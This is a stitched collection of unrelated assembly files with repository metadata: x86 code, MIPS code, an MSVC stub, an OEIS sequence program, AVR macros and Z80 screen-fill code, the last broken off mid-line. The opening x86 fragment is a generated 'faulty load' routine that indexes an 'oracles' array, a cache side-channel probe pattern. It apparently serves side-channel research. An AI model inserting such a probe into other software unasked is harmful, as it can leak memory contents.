addresses_A+0x74ad, %r14 nop nop nop nop nop add $9930, %rax mov $0x5152535455565758, %r12 movq %r12, %xmm4 vmovups %ymm4, (%r14) nop nop xor %rcx, %rcx // Store lea addresses_RW+0x1fae, %r15 nop nop nop nop add %r8, %r8 mov $0x5152535455565758, %r14 movq %r14, %xmm7 movups %xmm7, (%r15) nop nop nop add %r9, %r9 // Store lea addresses_D+0x1dd0e, %rax nop nop dec %r12 movb $0x51, (%rax) nop sub %r9, %r9 // Faulty Load lea addresses_D+0x590e, %rax nop nop nop nop sub %rcx, %rcx mov (%rax), %r12w lea oracles, %r8 and $0xff, %r12 shlq $12, %r12 mov (%r8,%r12,1), %r12 pop %rcx pop %rax pop %r9 pop %r8 pop %r15 pop %r14 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 4, 'NT': False, 'type': 'addresses_WC', 'same': True, 'AVXalign': True, 'congruent': 11}} {'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_A', 'same': False, 'AVXalign': False, 'congruent': 0}} {'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_RW', 'same': False, 'AVXalign': False, 'congruent': 1}} {'OP': 'STOR', 'dst': {'size': 1, 'NT': False, 'type': 'addresses_D', 'same': False, 'AVXalign': False, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_D', 'same': True, 'AVXalign': False, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 4}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 3}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 7}} {'OP': 'STOR', 'dst': {'size': 8, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 11}, 'dst': {'same': True, 'type': 'addresses_WC_ht', 'congruent': 6}} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
36.138728
2,999
0.657869
8c9dca9d2c40cca015f39fbf8de8c01a897d9530
744
asm
Assembly
Assignment5/prog1.asm
nikhilnayak98/CSE2011
5d5bdc32d2bbb05dc30e9d49e331eee461ecd14a
[ "MIT" ]
null
null
null
Assignment5/prog1.asm
nikhilnayak98/CSE2011
5d5bdc32d2bbb05dc30e9d49e331eee461ecd14a
[ "MIT" ]
null
null
null
Assignment5/prog1.asm
nikhilnayak98/CSE2011
5d5bdc32d2bbb05dc30e9d49e331eee461ecd14a
[ "MIT" ]
null
null
null
# sum and average of n numbers .data msg : .asciiz "Enter value of n\n" msgsum : .asciiz "\nSum -\n" msgavg : .asciiz "\nAverage -\n" sum : .word 0 avg : .float 0.0 .text main: la $a0, msg li $v0, 4 syscall li $v0, 5 syscall move $t0, $v0 li $t1, 0 move $t3, $t0 L1: li $v0, 5 syscall move $t4, $v0 add $t1, $t1, $t4 addi $t3, $t3, -1 bne $t3, $0, L1 j Exit Exit: sw $t1, sum la $a0, msgsum li $v0, 4 syscall la $a0, ($t1) li $v0, 1 syscall mtc1 $t1, $f1 mtc1 $t0, $f2 cvt.s.w $f3, $f1 cvt.s.w $f4, $f2 div.s $f5, $f3, $f4 s.s $f5, avg la $a0, msgavg li $v0, 4 syscall l.s $f12, avg li $v0, 2 syscall li $v0, 10 syscall
10.782609
34
0.505376
4ba16e2f886010f97d0e79c0a293ca4e798e9d83
223
asm
Assembly
Project15/Debug/_NETFramework,Version=v4.5.2.AssemblyAttributes.asm
redamart/Uno-Card-game-in-C-
3827ce4569de8629e3889c12c62ef7a3505b33be
[ "MIT" ]
1
2018-06-10T05:13:07.000Z
2018-06-10T05:13:07.000Z
Project15/x64/Debug/.NETFramework,Version=v4.5.2.AssemblyAttributes.asm
redamart/Uno-Card-game-in-C-
3827ce4569de8629e3889c12c62ef7a3505b33be
[ "MIT" ]
null
null
null
Project15/x64/Debug/.NETFramework,Version=v4.5.2.AssemblyAttributes.asm
redamart/Uno-Card-game-in-C-
3827ce4569de8629e3889c12c62ef7a3505b33be
[ "MIT" ]
null
null
null
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.24234.1 ; Generated by VC++ for Common Language Runtime .file "C:\Users\Renzo\AppData\Local\Temp\.NETFramework,Version=v4.5.2.AssemblyAttributes.cpp"
44.6
93
0.784753
98e7c7fe886b4bcb87777f6130e30e8a5d523cf1
430
asm
Assembly
programs/oeis/158/A158859.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/158/A158859.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/158/A158859.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A158859: a(n) is formed by 2n+1 concatenations of the digit 2r+1 where n=r (mod 5). ; 1,333,55555,7777777,999999999,11111111111,3333333333333,555555555555555,77777777777777777,9999999999999999999,111111111111111111111,33333333333333333333333 mul $0,2 add $0,1 mov $3,1 lpb $3 lpb $0 mov $2,$0 mod $2,10 lpb $0 sub $0,1 mul $1,10 add $1,$2 sub $3,$1 lpe lpe trn $3,$0 lpe mov $0,$1
20.47619
157
0.655814
eb59ef79fff1686ddb57bffe8a4e101941ac9ba0
8,489
asm
Assembly
Source/macros.asm
MarcusCemes/micro-210-project
789f4d5ac713cfa97d2fe5a88218a85addc91265
[ "MIT" ]
null
null
null
Source/macros.asm
MarcusCemes/micro-210-project
789f4d5ac713cfa97d2fe5a88218a85addc91265
[ "MIT" ]
null
null
null
Source/macros.asm
MarcusCemes/micro-210-project
789f4d5ac713cfa97d2fe5a88218a85addc91265
[ "MIT" ]
null
null
null
; file: macros.asm target: ATmega128L-4MHz-STK300 ; General use macros to avoid duplication. ; === Register manipulation === ; ; Load Stack Pointer ; @0: Data address .macro LDSP ldi w, low(@0) out spl,r16 ldi w, high(@0) out sph,r16 .endmacro ; Out Immediate .macro OUTI ldi w, @1 out @0, w .endmacro ; Out Extended Immediate .macro OUTEI ldi w, @1 sts @0, w .endmacro ; Set bits in an I/O register ; @0: I/O register ; @1: Bit index .macro SMBI in w, @0 sbr w, @1 out @0, w .endmacro ; Clear bits in an I/O register ; @0: I/O register ; @1: Bit index .macro CMBI in w, @0 cbr w, @1 out @0, w .endmacro ; Add constant to register .macro ADDI subi @0, -@1 .endmacro ; === Bit manipulation === ; ; Load an I/O bit to Register bit ; @0: Register @1: Bit ; @2: I/O register @2: I/O bit .macro INB cbr @0, 1<<@1 ; Equivilent to andi ~(...), requires mask sbic @2, @3 sbr @0, 1<<@1 .endmacro ; Store Register bit to I/O bit ; @0: I/O register @1: I/O bit ; @2: Register @3: Bit .macro OUTB cbi @0, @1 sbrc @2, @3 sbi @0, @1 .endmacro ; Copy bit ; @0: Destination register @1: Desitnation bit ; @2: Source register @3: Source bit .macro MOVB bst @2, @3 bld @0, @1 .endmacro ; Compare two bits. ; All conditional branches can be used after this instruction. ; @0: Register 0 @1: Bit 0 ; @2: Register 1 @3: Bit 1 .macro CPB MOVB _w, @1, @2, @3 eor _w, @0 cbr _w, ~(1<<@1) tst _w .endmacro ; Invert a bit ; @0: Register @1: Bit .macro INVB ldi _w, (1<<@1) eor @0, _w .endmacro ; Clear port bit .macro P0 cbi @0, @1 .endmacro ; Set port bit .macro P1 sbi @0, @1 .endmacro ; === Pointers === ; ; Load an immediate value into the Z register .macro LDIZ ldi zl, low(@0) ldi zh, high(@0) .endmacro ; Multiply the Z register by two .macro MUL2Z lsl zl ; Shift all bits to the left rol zh ; Restore the MSB from the SREG_C (Carry flag) .endmacro ; Divide the Z register by two .macro DIV2Z lsr zh ror zl .endmacro ; == Push/pop functions == ; .macro PUSHX push xl push xh .endmacro .macro POPX pop xh pop xl .endmacro .macro PUSHY push yl push yh .endmacro .macro POPY pop yh pop yl .endmacro .macro PUSHZ push zl push zh .endmacro .macro POPZ pop zh pop zl .endmacro ; === Conditional jumps === ; ; Jump if register is equal to a consant ; @0: register @1: constant ; @2: label .macro JK cpi @0, @1 breq @2 .endmacro ; Jump if bit in register is clear ; @0: register @1: bit ; @2: label .macro JB0 sbrs @0, @1 rjmp @2 .endmacro ; Jump if bit in register is set ; @0: register @1: bit ; @2: label .macro JB1 sbrc @0, @1 rjmp @2 .endmacro ; Decrement and jump if not zero .macro DJNZ dec @0 brne @1 .endmacro ; === Multi-register manipulation === ; ; Load three registers immediate .macro LDI2 ldi @1, low(@2) ldi @0, high(@2) .endmacro ; Add two registers .macro ADD2 add @1, @3 adc @0, @2 .endmacro ; Add immediate two registers .macro ADDI2 subi @1, low(-@2) sbci @0, high(-@2) .endmacro ; Subtract immediate two registers .macro SUBI2 subi @1, low(@2) sbci @0, high(@2) .endmacro ; Decrement two registers .macro DEC2 ldi w, 0xff add @1, w adc @0, w .endmacro ; Copy two registers .macro MOV2 mov @1, @3 mov @0, @2 .endmacro ; Rotate left through carry two registers .macro ROL2 rol @1 rol @0 .endmacro ; One's complement two registers .macro COM2 com @0 com @1 .endmacro ; Clear two registers .macro CLR2 sub @0,@0 clr @1 .endmacro ; Push three registers to the stack .macro PUSH3 push @0 push @1 push @2 .endmacro ; Pop three registers from the stack .macro POP3 pop @2 pop @1 pop @0 .endmacro ; Move three registers .macro MOV3 mov @2, @5 mov @1, @4 mov @0, @3 .endmacro ; Rotate left through carry three registers .macro ROL3 rol @2 rol @1 rol @0 .endmacro ; ortate right through carry .macro ROR3 ror @0 ror @1 ror @2 .endmacro ; Push four registers to the stack .macro PUSH4 push @0 push @1 push @2 push @3 .endmacro ; Pop four values from the stack .macro POP4 pop @3 pop @2 pop @1 pop @0 .endmacro ; Four-register move .macro MOV4 mov @3, @7 mov @2, @6 mov @1, @5 mov @0, @4 .endmacro ; Clear four registers, first is cleared with subtract instruction .macro CLR4 sub @0, @0 clr @1 clr @2 clr @3 .endmacro ; Four-register two's complement .macro NEG4 com @0 com @1 com @2 com @3 ldi w, 0xff sub @3,w sbc @2,w sbc @1,w sbc @0,w .endmacro ; Four register one's complement .macro COM4 com @0 com @1 com @2 com @3 .endmacro ; Load four data space values to registers using X pointer .macro LDX4 ld @3, x+ ld @2, x+ ld @1, x+ ld @0, x+ .endmacro ; Four-register aritmetic shift right .macro ASR4 asr @0 ror @1 ror @2 ror @3 .endmacro ; Four-register rotate right through carry .macro ROR4 ror @0 ror @1 ror @2 ror @3 .endmacro ; Four-register rotate left through carry .macro ROL4 rol @3 rol @2 rol @1 rol @0 .endmacro ; Four-register test .macro TST4 clr w cp @3, w cpc @2, w cpc @1, w cpc @0, w .endmacro ; Five-register rotate right through carry .macro ROR5 ror @0 ror @1 ror @2 ror @3 ror @4 .endmacro ; Five-register rotate left through carry .macro ROL5 rol @4 rol @3 rol @2 rol @1 rol @0 .endmacro ; == Custom implementations == ; ; Rotate two registers .macro ROR24 ldi _w, 4 _ror24: lsr @0 lsr @1 brcc PC+2 ADDI @0, 0b10000000 dec _w brne _ror24 .endmacro ; === Utility === ; ; Call Working ; Load an immediate value into the w register and rcall a subroutine ; @0: Function (r-called) ; @1: Constant .macro CW ldi w, @1 rcall @0 .endmacro ; Call Working Extended ; Load an immediate value into the w register and call a subroutine ; @0: Function (called) ; @1: Constant .macro CWE ldi w, @1 call @0 .endmacro ; Call a0 ; Load an immediate value into a0 and call a subroutine .macro CA ldi a0, @1 rcall @0 .endmacro ; === Time === ; ; Wait micro-seconds (us) ; us = x*3*1000'000/clock) ==> x=us*clock/3000'000 .macro WAIT_US ldi w, low((clock/1000*@0/3000)-1) mov u, w ldi w, high((clock/1000*@0/3000)-1)+1 ; set up: 3 cyles dec u brne PC - 1 ; inner loop: 3 cycles dec u ; adjustment for outer loop dec w brne PC - 4 .endmacro ; Wait milli-seconds (ms) .macro WAIT_MS ldi w, low(@0) mov u, w ; u = LSB ldi w, high(@0)+1 ; w = MSB wait_ms: push w ; wait 1000 usec push u ldi w, low((clock/3000)-5) mov u, w ldi w, high((clock/3000)-5)+1 dec u brne PC-1 ; inner loop: 3 cycles dec u ; adjustment for outer loop dec w brne PC-4 pop u pop w dec u brne wait_ms dec w brne wait_ms .endmacro
17.685417
69
0.50536
2d22fa371acf7faedee8cbcea9efb74410503226
16,761
asm
Assembly
transformy/tables/outro/0010.asm
mborik/regression
25b5f2204ce668594449e8ce804779288b895ac0
[ "MIT" ]
3
2019-09-18T05:34:22.000Z
2020-12-04T17:46:52.000Z
transformy/tables/outro/0010.asm
mborik/regression
25b5f2204ce668594449e8ce804779288b895ac0
[ "MIT" ]
null
null
null
transformy/tables/outro/0010.asm
mborik/regression
25b5f2204ce668594449e8ce804779288b895ac0
[ "MIT" ]
1
2020-01-17T01:04:24.000Z
2020-01-17T01:04:24.000Z
ld a, 63 ld hl, basescradr + #04eb ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #080b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #082b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #084b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #086b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088b ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ab ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08cb ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld a, 255 ld hl, basescradr + #04ec ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04ed ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04ee ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04ef ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04f0 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04f1 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04f2 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #04f3 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #080c ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #080d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #080e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #080f ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0810 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0811 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0812 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0813 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #082c ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #082d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #082e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #082f ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0830 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0831 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0832 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0833 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #084c ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #084d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #084e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #084f ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0850 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0851 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0852 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0853 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #086c ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #086d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #086e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #086f ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0870 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0871 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0872 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0873 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088c ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #088f ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0890 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0891 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0892 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0893 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ac ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ad ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ae ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08af ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08b0 ld (hl), a inc h ld (hl), a inc h ld 